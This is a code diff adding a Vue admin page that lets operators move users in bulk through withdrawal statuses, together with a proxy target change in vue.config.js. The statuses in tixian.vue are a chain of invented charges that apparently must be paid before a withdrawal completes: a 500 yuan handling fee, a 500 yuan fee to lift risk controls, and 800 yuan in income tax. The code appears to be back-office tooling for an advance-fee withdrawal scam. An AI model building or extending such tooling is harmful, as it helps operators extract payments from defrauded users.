1

src/views/ops/webPage/index.vue

+<template>
+  <div class="page-container">
+    <el-row :gutter="20">
+      <!-- 虚拟币设置卡片 -->
+      <el-col :span="6">
+        <el-card class="box-card" shadow="hover" @click.native="handleOpen('Tixian')">
+          <div class="card-content">
+            <i class="el-icon-money"></i>
+            <span>推进用户提现</span>
+          </div>
+        </el-card>
+      </el-col>
+    </el-row>
+    <el-dialog 
+      :modal-append-to-body="true" 
+      :modal="false"
+      :title="dialogTitle"
+      :visible.sync="dialogVisible"
+      width="80%"
+      :destroy-on-close="true"
+      @closed="handleClose"
+    >
+      <component :is="currentComponent" v-if="dialogVisible" />
+    </el-dialog>
+
+  </div>
+</template>
+
+<script>
+import Tixian from './tixian.vue'
+export default {
+  components: {
+    Tixian
+  },
+  data() {
+    return {
+      dialogVisible: false,
+      dialogTitle: '',
+      currentComponent: null
+    };
+  },
+  methods: {
+    handleOpen(type) {
+      this.currentComponent = null;
+      switch (type) {
+        case 'Tixian':
+          this.currentComponent = 'Tixian';
+          this.dialogTitle = '推进用户提现';
+          break;
+      }
+      this.dialogVisible = true;
+    },
+    handleClose() {
+      this.currentComponent = null;
+      this.dialogTitle = '';
+    },
+
+  }
+};
+</script>
+
+<style scoped>
+.page-container {
+  padding: 20px;
+}
+
+.box-card {
+  cursor: pointer;
+  transition: all 0.3s;
+}
+
+.box-card:hover {
+  transform: translateY(-5px);
+}
+
+.card-content {
+  display: flex;
+  flex-direction: column;
+  align-items: center;
+  padding: 20px 0;
+}
+
+.card-content i {
+  font-size: 32px;
+  margin-bottom: 10px;
+  color: #409EFF;
+}
+
+.card-content span {
+  font-size: 16px;
+}
+</style>
\ No newline at end of file

src/views/ops/webPage/tixian.vue

+<template>
+  <div class="app-container">
+    <el-form ref="form" label-width="120px">
+      <el-form-item label="开始状态：">
+        <el-select style="width: 100%;" v-model="aType" placeholder="请选择开始状态">
+          <el-option v-for="item in arr" :label="item.label" :value="item.value"></el-option>
+        </el-select>
+      </el-form-item>
+      <el-form-item label="结束状态：">
+        <el-select style="width: 100%;" v-model="bType" placeholder="请选择开始状态">
+          <el-option v-for="item in arr" :label="item.label" :value="item.value"
+            :disabled="item.value - 1 < aType"></el-option>
+        </el-select>
+      </el-form-item>
+      <el-form-item>
+      <el-button type="primary" @click="submitVal">立即推进</el-button>
+      <el-button>取消</el-button>
+    </el-form-item>
+    </el-form>
+  
+  </div>
+</template>
+
+<script>
+import request from '@/utils/request'
+export default {
+  name: 'Tixian',
+  data() {
+    return {
+      dialogVisible: false,
+      aType: undefined,
+      bType: undefined,
+      arr: [
+        { label: '请缴纳手续费500元', value: 0 },
+        { label: '排队打款中', value: 1 },
+        { label: '解除大额收款风控费500元', value: 2 },
+        { label: '解除成功', value: 3 },
+        { label: '缴纳个人所得税800元', value: 4 },
+        { label: '入账中', value: 5 },
+        { label: '到账成功', value: 6 },
+      ]
+    }
+  },
+  methods: {
+    open() {
+      this.dialogVisible = true
+    },
+    submitVal() {
+      request({
+        url: `/yw1/editAllAtoB?aType=${this.aType}&bType=${this.bType}`,
+        method: 'get',
+        data: {}
+      }).then(res => {
+        if (res.code == 200) {
+          this.$message.success(res.msg)
+          this.dialogVisible = false
+          this.aType = undefined
+          this.bType = undefined
+        }
+      })
+    }
+  }
+}
+</script>
+
+
+<style scoped>
+.user-info {
+  background: #f5f7fa;
+  padding: 15px;
+  border-radius: 4px;
+}
+
+.user-info p {
+  margin: 5px 0;
+  color: #606266;
+}
+</style>

vue.config.js

@@ -35,7 +35,7 @@ module.exports = {
     proxy: {
       // detail: https://cli.vuejs.org/config/#devserver-proxy
       [process.env.VUE_APP_BASE_API]: {
-        target: `http://192.168.1.5:8310`,
+        target: `http://27.124.5.14:9023`,
         // target: `http://192.168.1.5:8100`,
         // target: `https://www.yinlian168.vip/api`,
         // target: `https://www.yidaiyiluzf.com/api`,